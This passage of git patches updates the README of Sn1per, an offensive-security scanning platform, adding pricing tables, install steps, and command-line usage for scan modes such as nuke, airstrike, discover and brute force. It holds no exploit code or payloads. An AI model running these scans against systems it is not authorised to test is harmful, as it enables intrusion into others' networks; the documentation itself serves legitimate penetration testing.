/root/.Xauthority 2> /dev/null sudo cp -a /root/.Xauthority /root/.Xauthority.bak 2> /dev/null sudo cp -a /home/$USER/.Xauthority /root/.Xauthority 2> /dev/null From 7ffa671fff875425e6104d2fc6a62ef0d20eff63 Mon Sep 17 00:00:00 2001 From: xer0dayz <1N3@hushmail.com> Date: Sun, 15 Feb 2026 09:13:55 -0700 Subject: [PATCH 80/83] Update README with new SILENTCHAIN AI version Added news section for SILENTCHAIN AI Community Edition v1.1.3. --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index fe4010b..e07813e 100644 --- a/README.md +++ b/README.md @@ -48,6 +48,7 @@ Sn1per is a next-generation information gathering tool that provides automated, ### News +- #### [Introducing SILENTCHAIN AI Community Edition v1.1.3]([https://sn1persecurity.com/wordpress/sn1per-se-v11-released/) - #### [🔥 Sn1per SE v11.0 Now Available – Major Refactor, New Tools, Faster Recon, Smarter Resumes](https://sn1persecurity.com/wordpress/sn1per-se-v11-released/) - #### [🔐 Sn1per Enterprise v20250522 Released – Next-Level Offensive Security & Vulnerability Scanning](https://sn1persecurity.com/wordpress/sn1per-enterprise-v20250522-released/) - #### [Sn1per Enterprise Released!](https://sn1persecurity.com/wordpress/sn1per-enterprise-released/) From 68282e0bcb71f6716d863b72589ce956a0ed6096 Mon Sep 17 00:00:00 2001 From: xer0dayz <1N3@hushmail.com> Date: Sun, 15 Feb 2026 09:14:28 -0700 Subject: [PATCH 81/83] Fix link formatting for SILENTCHAIN AI release note --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index e07813e..778dea0 100644 --- a/README.md +++ b/README.md @@ -48,7 +48,7 @@ Sn1per is a next-generation information gathering tool that provides automated, ### News -- #### [Introducing SILENTCHAIN AI Community Edition v1.1.3]([https://sn1persecurity.com/wordpress/sn1per-se-v11-released/) +- #### [Introducing SILENTCHAIN AI Community Edition v1.1.3](https://sn1persecurity.com/wordpress/sn1per-se-v11-released/) - #### [🔥 Sn1per SE v11.0 Now Available – Major Refactor, New Tools, Faster Recon, Smarter Resumes](https://sn1persecurity.com/wordpress/sn1per-se-v11-released/) - #### [🔐 Sn1per Enterprise v20250522 Released – Next-Level Offensive Security & Vulnerability Scanning](https://sn1persecurity.com/wordpress/sn1per-enterprise-v20250522-released/) - #### [Sn1per Enterprise Released!](https://sn1persecurity.com/wordpress/sn1per-enterprise-released/) From 9fec4fc84201e5249803f28469e57272d11044fe Mon Sep 17 00:00:00 2001 From: "@xer0dayz" <1N3@hushmail.com> Date: Wed, 29 Apr 2026 16:19:56 -0400 Subject: [PATCH 82/83] Modernize README for Sn1per Professional 2026 release - Refresh hero banner + screenshots to 2026 visuals - Add 'What's New in 2026' section + announcement blockquote - Replace stale 2022 Enterprise screenshots - Add Editions & Pricing table matching website pricing breakdown - Mirror website top nav (Products, Solutions, About, News, Contact, Demo, Pricing, Shop) - Convert Scan Modes to table, regroup Integrations by category - Surface docs/*.md in new Documentation section - Add Community, Contributing, expanded License sections - Replace 150-word keyword block with About + topic tags - Refresh News list with three most recent 2026 posts - Fix WORSPACE_ALIAS typo and mislabeled LOOT RELOAD comment - Add new 2026 CLI flag examples (-v, -db, -rr) Co-Authored-By: Claude Opus 4.7 (1M context) --- README.md | 305 +++++++++++++++++++++++++++++++++++------------------- 1 file changed, 197 insertions(+), 108 deletions(-) diff --git a/README.md b/README.md index 778dea0..5755d16 100644 --- a/README.md +++ b/README.md @@ -1,109 +1,151 @@ -[![Sn1perSecurity](https://sn1persecurity.com/images/Sn1perSecurity-Attack-Surface-Management-header2.png)](https://sn1persecurity.com) +[![Sn1per](https://sn1persecurity.com/wordpress/wp-content/uploads/2026/04/sn1per-professional-2026-hero-banner.png)](https://sn1persecurity.com) [![GitHub release](https://img.shields.io/github/release/1N3/Sn1per.svg)](https://github.com/1N3/Sn1per/releases) +[![License](https://img.shields.io/github/license/1N3/Sn1per.svg)](https://github.com/1N3/Sn1per/blob/master/LICENSE.md) [![GitHub issues](https://img.shields.io/github/issues/1N3/Sn1per.svg)](https://github.com/1N3/Sn1per/issues) -[![Github Stars](https://img.shields.io/github/stars/1N3/Sn1per.svg?style=social&label=Stars)](https://github.com/1N3/Sn1per/) -[![GitHub Followers](https://img.shields.io/github/followers/1N3.svg?style=social&label=Follow)](https://github.com/1N3/Sn1per/) -[![Tweet](https://img.shields.io/twitter/url/http/xer0dayz.svg?style=social)](https://twitter.com/intent/tweet?original_referer=https%3A%2F%2Fdeveloper.twitter.com%2Fen%2Fdocs%2Ftwitter-for-websites%2Ftweet-button%2Foverview&ref_src=twsrc%5Etfw&text=Sn1per%20-%20Automated%20Pentest%20Recon%20Scanner&tw_p=tweetbutton&url=https%3A%2F%2Fgithub.com%2F1N3%2FSn1per) +[![Last commit](https://img.shields.io/github/last-commit/1N3/Sn1per.svg)](https://github.com/1N3/Sn1per/commits/master) +[![Contributors](https://img.shields.io/github/contributors/1N3/Sn1per.svg)](https://github.com/1N3/Sn1per/graphs/contributors) + +[![GitHub Stars](https://img.shields.io/github/stars/1N3/Sn1per.svg?style=social&label=Stars)](https://github.com/1N3/Sn1per/stargazers) +[![GitHub Forks](https://img.shields.io/github/forks/1N3/Sn1per.svg?style=social&label=Forks)](https://github.com/1N3/Sn1per/network/members) +[![GitHub Followers](https://img.shields.io/github/followers/1N3.svg?style=social&label=Follow)](https://github.com/1N3) [![Follow on Twitter](https://img.shields.io/twitter/follow/xer0dayz.svg?style=social&label=Follow)](https://twitter.com/intent/follow?screen_name=xer0dayz) -[[Website](https://sn1persecurity.com/wordpress/)] [[Blog](https://sn1persecurity.com/wordpress/blog/)] [[Shop](https://sn1persecurity.com/wordpress/shop)] [[Documentation](https://sn1persecurity.com/wordpress/documentation/)] [[Demo](https://www.youtube.com/c/Sn1perSecurity/videos)] [[Find Out More](https://sn1persecurity.com/wordpress/external-attack-surface-management-with-sn1per/)] +[[Products](https://sn1persecurity.com/wordpress/)] [[Solutions](https://sn1persecurity.com/wordpress/use-cases/)] [[About](https://sn1persecurity.com/wordpress/about/)] [[News](https://sn1persecurity.com/wordpress/blog/)] [[Contact](https://sn1persecurity.com/wordpress/home/contact/)] [[Demo](https://sn1persecurity.com/wordpress/#video)] [[Pricing](https://sn1persecurity.com/wordpress/#pricing)] [[Shop](https://sn1persecurity.com/wordpress/shop/)] +# Sn1per — The Offensive-Security Platform for Modern Teams -## Attack Surface Management Platform +> Recon, scanning, exploitation, and reporting in a single workspace — whether you're a solo pentester or a global SOC. -### Discover hidden assets and vulnerabilities in your environment +> ## Sn1per Professional 2026 is here +> +> The largest release since v10.0 — Docker-first deployment, Bootstrap 5 / Tabler UI, Workspace Navigator, Workspace + Host Reports with CSV / Excel / PDF export, JSON API v1.0, an Offcanvas Quick Commands sidebar with 13 panels, and expanded modules for ReverseAPK, MassPwn, Threat Intel, Nessus, and Burp. +> +> [Read the release notes →](https://sn1persecurity.com/wordpress/sn1per-professional-2026-release/) · [View pricing →](https://sn1persecurity.com/wordpress/product/sn1per-professional-2026-license/) -#### [[Find out more](https://sn1persecurity.com/wordpress/shop)] +## Table of Contents -[![](https://sn1persecurity.com/wordpress/wp-content/uploads/2022/05/Sn1per-Enterprise-workspace-navigator1-3.png)](https://sn1persecurity.com/) +- [About](#about-sn1per) +- [What's New in 2026](#whats-new-in-2026) +- [Editions & Pricing](#editions--pricing) +- [Install](#install) +- [Quick Start](#quick-start) +- [Usage](#usage) +- [Scan Modes](#scan-modes) +- [Integrations](#integrations) +- [Documentation & Help](#documentation--help) +- [News & Releases](#news--releases) +- [Community & Support](#community--support) +- [Contributing](#contributing) +- [License & Legal](#license--legal) -## The ultimate pentesting toolkit +## About Sn1per -Integrate with the leading commercial and open source vulnerability scanners to scan for the latest CVEs and vulnerabilities. +Sn1per is an offensive-security platform that consolidates reconnaissance, vulnerability scanning, exploitation, and reporting into a single workspace. Built by pentesters since 2015, it ships in three editions — a free open-source Community Edition (this repository), a paid Professional edition for individual operators and small teams, and an Enterprise edition for global SOCs — all backed by the same core scanning engine. -[![](https://sn1persecurity.com/wordpress/wp-content/uploads/2022/05/Sn1per-Enterprise-workspace-report1-3.png)](https://sn1persecurity.com/) +Sn1per orchestrates 90+ third-party tools, ships with 600+ exploits and 10,000+ detections, and is used by 500+ teams worldwide. Battle-tested by the community. Built by pentesters, for pentesters. -### Automate the most powerful tools +**500+** Teams · **90+** Integrations · **10,000+** Detections · **600+** Exploits · Trusted since **2015** -Security tools are expensive and time-consuming, but with Sn1per, you can save time by automating the execution of these open source and commercial tools to discover vulnerabilities across your entire attack surface. +## What's New in 2026 -[![](https://sn1persecurity.com/wordpress/wp-content/uploads/2022/05/Sn1per-Enterprise-host-list3-1.png)](https://sn1persecurity.com/) +[![Sn1per Pro 2026 Workspace Navigator](https://sn1persecurity.com/wordpress/wp-content/uploads/2026/04/sn1per-pro-2026-workspace-navigator.png)](https://sn1persecurity.com/wordpress/sn1per-professional-2026-release/) -### Find what you can't see +*Workspace Navigator — switch contexts across hosts, scopes, and engagements.* -Hacking is a problem that's only getting worse. But, with Sn1per, you can find what you can’t see—hidden assets and vulnerabilities in your environment. +[![Sn1per Pro 2026 Dashboard](https://sn1persecurity.com/wordpress/wp-content/uploads/2026/04/sn1per-pro-2026-dashboard.png)](https://sn1persecurity.com/wordpress/sn1per-professional-2026-release/) -[![](https://sn1persecurity.com/wordpress/wp-content/uploads/2022/05/Sn1per-Enterprise-host-list2-1.png)](https://sn1persecurity.com/) +*Dashboard — at-a-glance scan posture, top findings, and exploitable assets.* -### Discover and prioritize risks in your organization +### Highlights -Sn1per is a next-generation information gathering tool that provides automated, deep, and continuous security for organizations of all sizes. +- **Docker-first deployment** — same image, every distro +- **Bootstrap 5 / Tabler UI** — refreshed responsive interface with light + dark mode +- **Workspace Navigator** — fast workspace switching with state preservation +- **Workspace & Host Reports** — CSV, Excel, and PDF export +- **JSON API v1.0** — programmatic access for CI / SOAR / SIEM pipelines +- **Offcanvas Quick Commands** — 13 panels, every common action one click away +- **Expanded modules** — ReverseAPK, MassPwn, Threat Intel, Nessus, Burp Suite +- **Maturing SC0PE framework** — more parsers, better noise reduction +- **Hardened PHP library stack** — modern dependencies, audited components +- **New CLI flags** — `-v` (verbose), `-db` (debug), `-rr` (remove resume files) -[![](https://sn1persecurity.com/wordpress/wp-content/uploads/2022/05/Sn1per-Enterprise-vulnerability-report1-3.png)](https://sn1persecurity.com/) +> *"Sn1per Professional 2026 is the largest release since the v10.0 line."* -### See Sn1per in action +[Read the full release notes →](https://sn1persecurity.com/wordpress/sn1per-professional-2026-release/) -[![](https://sn1persecurity.com/wordpress/wp-content/uploads/2022/10/Sn1perbootcampseries1.png)](https://www.youtube.com/c/Sn1perSecurity/videos) +## Editions & Pricing -### News +The Community Edition is free and lives in this repository. The Professional and Enterprise editions add a Web UI, commercial integrations, and email support. -- #### [Introducing SILENTCHAIN AI Community Edition v1.1.3](https://sn1persecurity.com/wordpress/sn1per-se-v11-released/) -- #### [🔥 Sn1per SE v11.0 Now Available – Major Refactor, New Tools, Faster Recon, Smarter Resumes](https://sn1persecurity.com/wordpress/sn1per-se-v11-released/) -- #### [🔐 Sn1per Enterprise v20250522 Released – Next-Level Offensive Security & Vulnerability Scanning](https://sn1persecurity.com/wordpress/sn1per-enterprise-v20250522-released/) -- #### [Sn1per Enterprise Released!](https://sn1persecurity.com/wordpress/sn1per-enterprise-released/) -- #### [Sn1per Professional v10.0 Released!](https://sn1persecurity.com/wordpress/sn1per-professional-v10-released/) +| | **Sn1per Professional** | **Sn1per Enterprise** | +|---|---|---| +| **Price** | $984 / year (per seat) | Get a quote | +| **Subscription** | 1 year | 1 year | +| **— Included —** | | | +| Web UI | Professional Web UI | Enterprise Web UI | +| Scan Engine & UI Updates | ✓ | ✓ | +| All Modules & Integrations | ✓ | ✓ | +| On-Prem (Self Hosted) | ✓ | ✓ | +| Email Support | 1 Year | 1 Year | +| Improved Speed & Scalability | — | ✓ | +| Cutting-Edge Features | — | ✓ | +| **— Limits & Quotas —** | | | +| Max Scans | Unlimited | Unlimited | +| Max Assets / Workspace | 30 | Unlimited | +| Max Workspaces | 5 | Unlimited | +| Total Assets | 150 | 500+ | +| Licensed Systems | 1 | 1 | -## Kali/Ubuntu/Debian/Parrot Linux Install +[Buy a Sn1per Professional license →](https://sn1persecurity.com/wordpress/product/sn1per-professional-2026-license/) · [Get an Enterprise quote →](https://sn1persecurity.com/wordpress/) -``` -git clone https://github.com/1N3/Sn1per +## Install + +### Linux (Kali / Ubuntu / Debian / Parrot) + +```bash +git clone https://github.com/1N3/Sn1per.git cd Sn1per -bash install.sh +sudo bash install.sh ``` -## AWS AMI (Free Tier) VPS Install +> Sn1per installs to `/usr/share/sniper` and requires root. Use `sudo bash install.sh force` to skip the confirmation prompt. -[![](https://sn1persecurity.com/wordpress/wp-content/uploads/2022/06/AWS-Marketplace.png)](https://aws.amazon.com/marketplace/pp/prodview-rmloab6wnymno) +### Docker -To install Sn1per using an AWS EC2 instance: +[Sn1per on Docker Hub →](https://hub.docker.com/r/sn1persecurity/sn1per) -1. Go to and click the “Continue to Subscribe” button -2. Click the “Continue to Configuration” button -3. Click the “Continue to Launch” button -4. Login via SSH using the public IP of the new EC2 instance +#### Kali Linux base -## Docker Install +```bash +sudo docker compose up +sudo docker run --privileged -it sn1per-kali-linux /bin/bash +``` -[![](https://sn1persecurity.com/images/docker-logo.png)](https://hub.docker.com/r/sn1persecurity/sn1per) +#### BlackArch base -### Kali Linux-based Sn1per +```bash +sudo docker compose -f docker-compose-blackarch.yml up +sudo docker run --privileged -it sn1per-blackarch /bin/bash +``` -1. Run the Docker Compose file +### AWS Marketplace (EC2 AMI) - ```bash - sudo docker compose up - ``` +Subscribe via [AWS Marketplace](https://aws.amazon.com/marketplace/pp/prodview-rmloab6wnymno): -1. Run the container +1. Click **Continue to Subscribe** +2. Click **Continue to Configuration**, choose region/instance type +3. Click **Continue to Launch** +4. SSH to the EC2 public IP — Sn1per is preinstalled - ```bash - sudo docker run --privileged -it sn1per-kali-linux /bin/bash - ``` +## Quick Start -### BlackArch-based Sn1per +```bash +sudo bash install.sh +sniper -t example.com -m normal +``` -1. Run the Docker Compose file - - ```bash - sudo docker compose -f docker-compose-blackarch.yml up - ``` - -1. Run the container - - ```bash - sudo docker run --privileged -it sn1per-blackarch /bin/bash - ``` +Results land in `/usr/share/sniper/loot//`. See [Usage](#usage) for more modes. ## Usage @@ -118,7 +160,7 @@ sniper -t -o -re sniper -t -m stealth -o -re [*] DISCOVER MODE -sniper -t -m discover -w +sniper -t -m discover -w [*] SCAN ONLY SPECIFIC PORT sniper -t -m port -p @@ -136,7 +178,7 @@ sniper -t -m webporthttp -p sniper -t -m webporthttps -p [*] HTTP WEBSCAN MODE -sniper -t -m webscan +sniper -t -m webscan [*] ENABLE BRUTEFORCE sniper -t -b @@ -180,7 +222,7 @@ sniper -w --reimport [*] LOOT REIMPORTALL FUNCTION sniper -w --reimportall -[*] LOOT REIMPORT FUNCTION +[*] LOOT RELOAD FUNCTION sniper -w --reload [*] LOOT EXPORT FUNCTION @@ -194,58 +236,105 @@ sniper -c /path/to/sniper.conf -t -w [*] UPDATE SNIPER sniper -u|--update + +[*] VERBOSE OUTPUT (NEW IN 2026) +sniper -t -m airstrike -v + +[*] DEBUG OUTPUT (NEW IN 2026) +sniper -t -m normal -db + +[*] REMOVE RESUME FILES (NEW IN 2026) +sniper -t -m airstrike -v -rr ``` -## Modes +## Scan Modes -- **NORMAL:** Performs basic scan of targets and open ports using both active and passive checks for optimal performance. +| Mode | Description | +|------|-------------| +| `normal` | Active + passive scan of the target and its open ports | +| `stealth` | Quick, mostly non-intrusive enumeration to avoid WAF / IPS | +| `flyover` | Fast multi-threaded high-level scans of many hosts | +| `airstrike` | Open-port enumeration + basic fingerprinting against a host file | +| `nuke` | Full audit across all targets in a host file | +| `discover` | Walks a CIDR and runs Sn1per on every live host | +| `port` | Targeted scan of a specific port | +| `fullportonly` | Full TCP port scan, results saved to XML | +| `web` | Web app scan on `80/tcp` + `443/tcp` only | +| `webporthttp` / `webporthttps` | Web app scan on a specific HTTP / HTTPS port | +| `webscan` | Full HTTP + HTTPS web app scan via Burp Suite + Arachni | +| `vulnscan` | OpenVAS vulnerability scan | +| `mass*` | Multi-target variants of the above (`-f targets.txt`) | -- **STEALTH:** Quickly enumerate single targets using mostly non-intrusive scans to avoid WAF/IPS blocking. -- **FLYOVER:** Fast multi-threaded high level scans of multiple targets (useful for collecting high level data on many hosts quickly). -- **AIRSTRIKE:** Quickly enumerates open ports/services on multiple hosts and performs basic fingerprinting. To use, specify the full location of the file which contains all hosts, IPs that need to be scanned and run ./sn1per /full/path/to/targets.txt airstrike to begin scanning. -- **NUKE:** Launch full audit of multiple hosts specified in text file of choice. Usage example: ./sniper /pentest/loot/targets.txt nuke. -- **DISCOVER:** Parses all hosts on a subnet/CIDR (ie. 192.168.0.0/16) and initiates a sniper scan against each host. Useful for internal network scans. -- **PORT:** Scans a specific port for vulnerabilities. Reporting is not currently available in this mode. -- **FULLPORTONLY:** Performs a full detailed port scan and saves results to XML. -- **MASSPORTSCAN:** Runs a "fullportonly" scan on multiple targets specified via the "-f" switch. -- **WEB:** Adds full automatic web application scans to the results (port 80/tcp & 443/tcp only). Ideal for web applications but may increase scan time significantly. -- **MASSWEB:** Runs "web" mode scans on multiple targets specified via the "-f" switch. -- **WEBPORTHTTP:** Launches a full HTTP web application scan against a specific host and port. -- **WEBPORTHTTPS:** Launches a full HTTPS web application scan against a specific host and port. -- **WEBSCAN:** Launches a full HTTP & HTTPS web application scan against via Burpsuite and Arachni. -- **MASSWEBSCAN:** Runs "webscan" mode scans of multiple targets specified via the "-f" switch. -- **VULNSCAN:** Launches a OpenVAS vulnerability scan. -- **MASSVULNSCAN:** Launches a "vulnscan" mode scans on multiple targets specified via the "-f" switch. +## Integrations -## Help Topics +Sn1per ships with native integrations for **90+ tools and services**. Featured partners: -- [x] [Plugins & Tools](https://github.com/1N3/Sn1per/wiki/Plugins-&-Tools) -- [x] [Scheduled Scans](https://github.com/1N3/Sn1per/wiki/Scheduled-Scans) -- [x] [Sn1per Configuration Options](https://github.com/1N3/Sn1per/wiki/Sn1per-Configuration-Options) -- [x] [Sn1per Configuration Templates](https://github.com/1N3/Sn1per/wiki/Sn1per-Configuration-Templates) -- [x] [Sc0pe Templates](https://github.com/1N3/Sn1per/wiki/Sc0pe-Templates) +| Category | Integrations | +|----------|--------------| +| **Vulnerability scanners** | [Nessus](https://github.com/1N3/Sn1per/wiki/Nessus-Integration) · [OpenVAS](https://github.com/1N3/Sn1per/wiki/OpenVAS-Integration) · [GVM 21.x](https://github.com/1N3/Sn1per/wiki/GVM-21.x-Integration) · Nuclei | +| **Web app testing** | [Burp Suite Pro](https://github.com/1N3/Sn1per/wiki/Burpsuite-Professional-2.x-Integration) · [OWASP ZAP](https://github.com/1N3/Sn1per/wiki/OWASP-ZAP-Integration) · [WPScan](https://github.com/1N3/Sn1per/wiki/WPScan-API-Integration) | +| **Exploitation** | [Metasploit](https://github.com/1N3/Sn1per/wiki/Metasploit-Integration) | +| **Reconnaissance** | [Shodan](https://github.com/1N3/Sn1per/wiki/Shodan-Integration) · [Censys](https://github.com/1N3/Sn1per/wiki/Censys-API-Integration) · [Hunter.io](https://github.com/1N3/Sn1per/wiki/Hunter.io-API-Integration) · VirusTotal · Nmap | +| **AI / LLM** | OpenAI · Claude · Gemini | +| **Notifications & DevOps** | [Slack](https://github.com/1N3/Sn1per/wiki/Slack-API-Integration) · [GitHub API](https://github.com/1N3/Sn1per/wiki/Github-API-Integration) | -## Integration Guides +[Browse all integrations on the wiki →](https://github.com/1N3/Sn1per/wiki) -- [x] [Github API integration](https://github.com/1N3/Sn1per/wiki/Github-API-Integration) -- [x] [Burpsuite Professional 2.x integration](https://github.com/1N3/Sn1per/wiki/Burpsuite-Professional-2.x-Integration) -- [x] [OWASP ZAP integration](https://github.com/1N3/Sn1per/wiki/OWASP-ZAP-Integration) -- [x] [Shodan API integration](https://github.com/1N3/Sn1per/wiki/Shodan-Integration) -- [x] [Censys API integration](https://github.com/1N3/Sn1per/wiki/Censys-API-Integration) -- [x] [Hunter.io API integration](https://github.com/1N3/Sn1per/wiki/Hunter.io-API-Integration) -- [x] [Metasploit integration](https://github.com/1N3/Sn1per/wiki/Metasploit-Integration) -- [x] [Nessus integration](https://github.com/1N3/Sn1per/wiki/Nessus-Integration) -- [x] [OpenVAS API integration](https://github.com/1N3/Sn1per/wiki/OpenVAS-Integration) -- [x] [GVM 21.x integration](https://github.com/1N3/Sn1per/wiki/GVM-21.x-Integration) -- [x] [Slack API integration](https://github.com/1N3/Sn1per/wiki/Slack-API-Integration) -- [x] [WPScan API integration](https://github.com/1N3/Sn1per/wiki/WPScan-API-Integration) +## Documentation & Help -## License & Legal Agreement +- [Getting Started](docs/getting-started.md) +- [Installation](docs/installation.md) +- [Configuration](docs/configuration.md) +- [Usage](docs/usage.md) +- [Architecture](docs/architecture.md) +- [Integrations](docs/integrations.md) +- [Troubleshooting](docs/troubleshooting.md) +- [Wiki — full reference](https://github.com/1N3/Sn1per/wiki) +- [Official documentation](https://sn1persecurity.com/wordpress/documentation/) -For license and legal information, refer to the [LICENSE.md](https://github.com/1N3/Sn1per/blob/master/LICENSE.md) file in this repository. +### Configuration & Templates -## Purchase Sn1per Professional +- [Plugins & Tools](https://github.com/1N3/Sn1per/wiki/Plugins-&-Tools) +- [Scheduled Scans](https://github.com/1N3/Sn1per/wiki/Scheduled-Scans) +- [Sn1per Configuration Options](https://github.com/1N3/Sn1per/wiki/Sn1per-Configuration-Options) +- [Sn1per Configuration Templates](https://github.com/1N3/Sn1per/wiki/Sn1per-Configuration-Templates) +- [Sc0pe Templates](https://github.com/1N3/Sn1per/wiki/Sc0pe-Templates) -To obtain a Sn1per Professional license, go to . +## News & Releases -External attack surface management, Attack surface monitoring, Attack Surface Management Platform, Attack Surface Management Solutions, Vulnerability management, Threat intelligence, Cybersecurity risk assessment, Security posture assessment, Digital footprint analysis, Attack surface mapping, Web application security, Network security, Infrastructure security, Cloud security, Third-party risk management, Incident response, Penetration testing, Asset discovery, Patch management, Security scanning, Firewall configuration, Intrusion detection system, Security awareness training, Data breach prevention, Web server security, Endpoint security, Phishing protection, Vulnerability assessment, Network security, Web application testing, Ethical hacking, Security assessment, Information security, Red teaming, Cybersecurity testing, Pen testing tools, Exploitation techniques, Wireless network testing, Social engineering, Security auditing, Incident response, Intrusion detection, Firewall testing, Security assessment methodology, Risk assessment, Security controls, Web vulnerability scanning, Password cracking, Security testing services, Security architecture, System hardening, Network reconnaissance, Red teaming, Penetration testing, Cybersecurity, Vulnerability assessment, Attack simulation, Threat intelligence, Risk assessment, Security testing, Adversarial tactics, Incident response, Security assessment, Network security, Defensive measures, Security controls, Social engineering, Exploitation techniques, Security awareness, Defensive strategies, Risk mitigation, Blue teaming, Security operations, Intrusion detection, Security frameworks, Cyber defense, Information security +- **[Sn1per Professional 2026 Released](https://sn1persecurity.com/wordpress/sn1per-professional-2026-release/)** — April 26, 2026 +- [Introducing SILENTCHAIN AI Community Edition v1.1.3](https://sn1persecurity.com/wordpress/introducing-silentchain-ai-community-edition-v1-1-3/) — February 11, 2026 +- [Sn1per SE v11.0 Now Available](https://sn1persecurity.com/wordpress/sn1per-se-v11-released/) — January 8, 2026 + +[All releases & blog posts →](https://sn1persecurity.com/wordpress/blog/) + +## Community & Support + +- **Bugs:** [Open an issue](https://github.com/1N3/Sn1per/issues) +- **Twitter:** [@xer0dayz](https://twitter.com/xer0dayz) +- **YouTube:** [Sn1per Security](https://www.youtube.com/c/Sn1perSecurity/videos) +- **Email (Pro / Enterprise customers):** see your license email + +## Contributing + +Pull requests welcome. For substantial changes, open an issue first to discuss the design. + +- Mode scripts live in [`modes/`](modes/) — one bash file per scan mode +- Test changes against a controlled target before opening a PR +- Follow [Keep a Changelog](https://keepachangelog.com/en/1.1.0/) format in [`CHANGELOG.md`](CHANGELOG.md) + +35 contributors and counting. Thank you. + +## License & Legal + +- **Code:** see [`LICENSE.md`](LICENSE.md) and [`THIRD_PARTY_LICENSES.md`](THIRD_PARTY_LICENSES.md) +- **Notices:** see [`NOTICE`](NOTICE) +- **Trademark:** "Sn1per" and the Sn1per logo are trademarks of Sn1perSecurity LLC. Use in derivative works requires permission. Contact: [sn1persecurity.com](https://sn1persecurity.com) + +--- + +## About Sn1perSecurity + +Sn1per is built and maintained by [Sn1perSecurity](https://sn1persecurity.com), a small team of pentesters shipping offensive-security tooling since 2015. We focus on the workflows we want to use ourselves — fast recon, ergonomic reporting, honest pricing, and a Community Edition that genuinely keeps up with the commercial editions. If that resonates, [say hi](https://twitter.com/xer0dayz). + +**Topics:** `penetration-testing` · `offensive-security` · `attack-surface-management` · `vulnerability-scanner` · `recon` · `osint` · `red-team` · `bug-bounty` · `security-tools` From 32d1915f62f1170c240842770030d2069ee1dd69 Mon Sep 17 00:00:00 2001 From: xer0dayz <1N3@hushmail.com> Date: Thu, 4 Jun 2026 16:31:38 -0700 Subject: [PATCH 83/83] Update links in README.md for accuracy --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 5755d16..e9ef2d9 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -[![Sn1per](https://sn1persecurity.com/wordpress/wp-content/uploads/2026/04/sn1per-professional-2026-hero-banner.png)](https://sn1persecurity.com) +[![Sn1per](https://sn1persecurity.com/wordpress/wp-content/uploads/2026/04/sn1per-professional-2026-hero-banner.png)](https://sn1persecurity.com/wordpress/product/sn1per-professional-2026-license/) [![GitHub release](https://img.shields.io/github/release/1N3/Sn1per.svg)](https://github.com/1N3/Sn1per/releases) [![License](https://img.shields.io/github/license/1N3/Sn1per.svg)](https://github.com/1N3/Sn1per/blob/master/LICENSE.md) @@ -11,7 +11,7 @@ [![GitHub Followers](https://img.shields.io/github/followers/1N3.svg?style=social&label=Follow)](https://github.com/1N3) [![Follow on Twitter](https://img.shields.io/twitter/follow/xer0dayz.svg?style=social&label=Follow)](https://twitter.com/intent/follow?screen_name=xer0dayz) -[[Products](https://sn1persecurity.com/wordpress/)] [[Solutions](https://sn1persecurity.com/wordpress/use-cases/)] [[About](https://sn1persecurity.com/wordpress/about/)] [[News](https://sn1persecurity.com/wordpress/blog/)] [[Contact](https://sn1persecurity.com/wordpress/home/contact/)] [[Demo](https://sn1persecurity.com/wordpress/#video)] [[Pricing](https://sn1persecurity.com/wordpress/#pricing)] [[Shop](https://sn1persecurity.com/wordpress/shop/)] +[[Products](https://sn1persecurity.com/wordpress/shop/)] [[Solutions](https://sn1persecurity.com/wordpress/use-cases/)] [[About](https://sn1persecurity.com/wordpress/about/)] [[News](https://sn1persecurity.com/wordpress/blog/)] [[Contact](https://sn1persecurity.com/wordpress/home/contact/)] [[Demo](https://sn1persecurity.com/wordpress/#video)] [[Pricing](https://sn1persecurity.com/wordpress/product/sn1per-professional-2026-license/)] [[Shop](https://sn1persecurity.com/wordpress/shop/)] # Sn1per — The Offensive-Security Platform for Modern Teams @@ -97,7 +97,7 @@ The Community Edition is free and lives in this repository. The Professional and | Total Assets | 150 | 500+ | | Licensed Systems | 1 | 1 | -[Buy a Sn1per Professional license →](https://sn1persecurity.com/wordpress/product/sn1per-professional-2026-license/) · [Get an Enterprise quote →](https://sn1persecurity.com/wordpress/) +[Buy a Sn1per Professional license →](https://sn1persecurity.com/wordpress/product/sn1per-professional-2026-license/) · [Get an Enterprise quote →](https://sn1persecurity.com/wordpress/request-a-quote/) ## Install